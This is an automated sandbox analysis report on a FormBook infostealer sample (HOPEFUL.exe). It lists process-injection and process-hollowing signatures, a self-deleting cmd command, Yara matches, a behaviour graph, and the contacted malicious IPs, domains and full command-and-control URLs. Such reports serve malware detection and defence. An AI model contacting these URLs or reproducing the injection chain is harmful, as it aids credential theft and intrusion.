Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E103E2 mov eax, dword ptr fs:[00000030h] 19_2_04E103E2
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E103E2 mov eax, dword ptr fs:[00000030h] 19_2_04E103E2
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E237F5 mov eax, dword ptr fs:[00000030h] 19_2_04E237F5
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E653CA mov eax, dword ptr fs:[00000030h] 19_2_04E653CA
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E653CA mov eax, dword ptr fs:[00000030h] 19_2_04E653CA
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DF8794 mov eax, dword ptr fs:[00000030h] 19_2_04DF8794
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E14BAD mov eax, dword ptr fs:[00000030h] 19_2_04E14BAD
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E14BAD mov eax, dword ptr fs:[00000030h] 19_2_04E14BAD
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E14BAD mov eax, dword ptr fs:[00000030h] 19_2_04E14BAD
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04EB5BA5 mov eax, dword ptr fs:[00000030h] 19_2_04EB5BA5
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DF1B8F mov eax, dword ptr fs:[00000030h] 19_2_04DF1B8F
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DF1B8F mov eax, dword ptr fs:[00000030h] 19_2_04DF1B8F
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04EA138A mov eax, dword ptr fs:[00000030h] 19_2_04EA138A
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E9D380 mov ecx, dword ptr fs:[00000030h] 19_2_04E9D380
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E1B390 mov eax, dword ptr fs:[00000030h] 19_2_04E1B390
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E67794 mov eax, dword ptr fs:[00000030h] 19_2_04E67794
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E67794 mov eax, dword ptr fs:[00000030h] 19_2_04E67794
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E67794 mov eax, dword ptr fs:[00000030h] 19_2_04E67794
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E12397 mov eax, dword ptr fs:[00000030h] 19_2_04E12397
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04EB8F6A mov eax, dword ptr fs:[00000030h] 19_2_04EB8F6A
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04DEF358 mov eax, dword ptr fs:[00000030h] 19_2_04DEF358
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E13B7A mov eax, dword ptr fs:[00000030h] 19_2_04E13B7A
Source: C:\Windows\SysWOW64\cmmon32.exe Code function: 19_2_04E13B7A mov eax, dword ptr fs:[00000030h] 19_2_04E13B7A
Enables debug privileges
Source: C:\Users\user\Desktop\HOPEFUL.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 35.169.40.107 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 34.98.99.30 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 174.136.37.109 80 Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\HOPEFUL.exe Memory allocated: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 400000 protect: page execute and read and write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\HOPEFUL.exe Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmmon32.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Section loaded: unknown target: C:\Windows\SysWOW64\cmmon32.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Thread register set: target process: 3388 Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Thread register set: target process: 3388 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Section unmapped: C:\Windows\SysWOW64\cmmon32.exe base address: 1040000 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\HOPEFUL.exe Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Memory written: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe base: EB9008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\HOPEFUL.exe Process created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe C:\Users\user\AppData\Local\Temp\AddInProcess32.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe' Jump to behavior
Source: explorer.exe, 0000000D.00000000.297448292.0000000001398000.00000004.00000020.sdmp Binary or memory string: ProgmanamF
Source: explorer.exe, 0000000D.00000000.297975743.0000000001980000.00000002.00000001.sdmp, cmmon32.exe, 00000013.00000002.560064370.0000000003630000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 0000000D.00000000.318661588.000000000871F000.00000004.00000001.sdmp, cmmon32.exe, 00000013.00000002.560064370.0000000003630000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000D.00000000.297975743.0000000001980000.00000002.00000001.sdmp, cmmon32.exe, 00000013.00000002.560064370.0000000003630000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000D.00000000.297975743.0000000001980000.00000002.00000001.sdmp, cmmon32.exe, 00000013.00000002.560064370.0000000003630000.00000002.00000001.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\HOPEFUL.exe Queries volume information: C:\Users\user\Desktop\HOPEFUL.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\HOPEFUL.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 00000013.00000002.557782096.0000000000EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.558552585.0000000003090000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.342835005.00000000017B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341874969.0000000001380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298637498.0000000004A76000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.560537897.0000000004B40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.341186182.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.298890035.0000000004B4D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 339365 Sample: HOPEFUL.exe Startdate: 13/01/2021 Architecture: WINDOWS Score: 100 33 www.eaglesnestpropheticministry.com 2->33 35 eaglesnestpropheticministry.com 2->35 43 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->43 45 Found malware configuration 2->45 47 Malicious sample detected (through community Yara rule) 2->47 49 4 other signatures 2->49 11 HOPEFUL.exe 4 2->11         started        signatures3 process4 file5 29 C:\Users\user\AppData\...\AddInProcess32.exe, PE32 11->29 dropped 31 C:\Users\user\AppData\...\HOPEFUL.exe.log, ASCII 11->31 dropped 59 Writes to foreign memory regions 11->59 61 Allocates memory in foreign processes 11->61 63 Hides that the sample has been downloaded from the Internet (zone.identifier) 11->63 65 Injects a PE file into a foreign processes 11->65 15 AddInProcess32.exe 11->15         started        signatures6 process7 signatures8 67 Modifies the context of a thread in another process (thread injection) 15->67 69 Maps a DLL or memory area into another process 15->69 71 Sample uses process hollowing technique 15->71 73 2 other signatures 15->73 18 explorer.exe 15->18 injected process9 dnsIp10 37 tiendazoom.com 174.136.37.109, 49759, 80 IHNETUS United States 18->37 39 registeredagentfirm.com 34.98.99.30, 49758, 80 GOOGLEUS United States 18->39 41 3 other IPs or domains 18->41 51 System process connects to network (likely due to code injection or exploit) 18->51 22 cmmon32.exe 18->22         started        signatures11 process12 signatures13 53 Modifies the context of a thread in another process (thread injection) 22->53 55 Maps a DLL or memory area into another process 22->55 57 Tries to detect virtualization through RDTSC time measurements 22->57 25 cmd.exe 1 22->25         started        process14 process15 27 conhost.exe 25->27         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
174.136.37.109
unknown United States
33494 IHNETUS true
35.169.40.107
unknown United States
14618 AMAZON-AESUS true
34.98.99.30
unknown United States
15169 GOOGLEUS true

Contacted Domains

Name IP Active
registeredagentfirm.com 34.98.99.30 true
tiendazoom.com 174.136.37.109 true
www.the343radio.com 35.169.40.107 true
eaglesnestpropheticministry.com 34.102.136.180 true
www.tiendazoom.com unknown unknown
www.registeredagentfirm.com unknown unknown
www.eaglesnestpropheticministry.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.registeredagentfirm.com/jqc/?ndlpiZc=0xbExnfI3Prv/1KpQ0CN/ByOc92DgA9UHu9nxr7GrQjbPgIXGkWI8+X1opataUjCpyTL&vJBt9=0p-TOvv8KBuxgpiP true
  • Avira URL Cloud: safe
unknown
http://www.tiendazoom.com/jqc/?vJBt9=0p-TOvv8KBuxgpiP&ndlpiZc=EnI9If5tS4P3VQhtW/9J+s0mIpyxI+H/HK4ULnRjNfqJIxJ/UO/Pi364qc4j+Eh6gi9p true
  • Avira URL Cloud: safe
unknown
http://www.the343radio.com/jqc/?vJBt9=0p-TOvv8KBuxgpiP&ndlpiZc=Jqp6Vrh7x4dPMrIQX7VIzLiEvICxUcdwdSrDbGPbei90zUxLRJiOLwAKv7MnajRyqhPp true
  • Avira URL Cloud: safe
unknown